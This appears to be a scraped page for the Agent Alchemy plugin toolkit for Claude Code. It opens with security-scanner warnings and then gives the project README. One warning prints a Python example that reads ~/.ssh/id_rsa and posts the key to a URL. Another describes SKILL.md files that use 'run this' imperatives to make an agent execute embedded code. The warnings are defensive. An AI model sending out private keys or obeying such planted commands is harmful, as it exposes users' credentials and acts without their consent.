This plugin references an SSH private-key path or a private-key file header ("For SSH: ssh-add ~/.ssh/id_ed25519 or check ~/.…). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.
key = open(os.path.expanduser("~/.ssh/id_rsa")).read()
requests.post(url, data={"key": key})# let the SSH agent / git handle auth; never read or send the key
subprocess.run(["git", "fetch", remote], check=True)A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

A plugin suite and developer toolkit that extends Claude Code into a structured development platform — from specs to tasks to autonomous execution.
Agent Alchemy is an open-source toolkit for AI and software engineers who use Claude Code. It adds structured development workflows on top of Claude Code through six plugins, a real-time task manager, and a VS Code extension — all designed to work together as an integrated pipeline.
Everything is built with Claude Code for Claude Code. The plugins are plain markdown — readable, editable, and version-controlled like any other code.
Six plugin groups providing 28 skills and 16 agents:
| Plugin | Description |
|---|---|
| [SDD Tools](claude/sdd-tools/) | Spec-Driven Development — turn ideas into specs, specs into tasks, and tasks into autonomous execution |
| [Dev Tools](claude/dev-tools/) | Feature development, code review, architecture patterns, documentation, and changelog management |
| [Core Tools](claude/core-tools/) | Codebase analysis, deep exploration with multi-agent teams, and language patterns |
| [TDD Tools](claude/tdd-tools/) | Test-Driven Development — RED-GREEN-REFACTOR workflows, test generation, and coverage analysis |
| [Git Tools](claude/git-tools/) | Conventional Commits automation |
| [Plugin Tools](claude/plugin-tools/) | Plugin porting, adapter validation, ported plugin maintenance, and ecosystem health analysis |
A Next.js real-time Kanban dashboard for monitoring autonomous task execution. Tasks update live via filesystem watching and Server-Sent Events.

|---|---|---|---|
deep-analysis.direct-invocation-approval | core-tools | true | Require user approval of the team plan when invoking /deep-analysis directly |
deep-analysis.invocation-by-skill-approval | core-tools | false | Require approval when deep-analysis is loaded by another skill (e.g., /feature-dev, /codebase-analysis) |
execute-tasks.max_parallel | sdd-tools | 5 | Maximum concurrent task-executor agents per wave. CLI --max-parallel takes precedence. Set to 1 for sequential execution |

There is no compilation step; the markdown files are the executable code, interpreted directly by Claude Code's runtime.
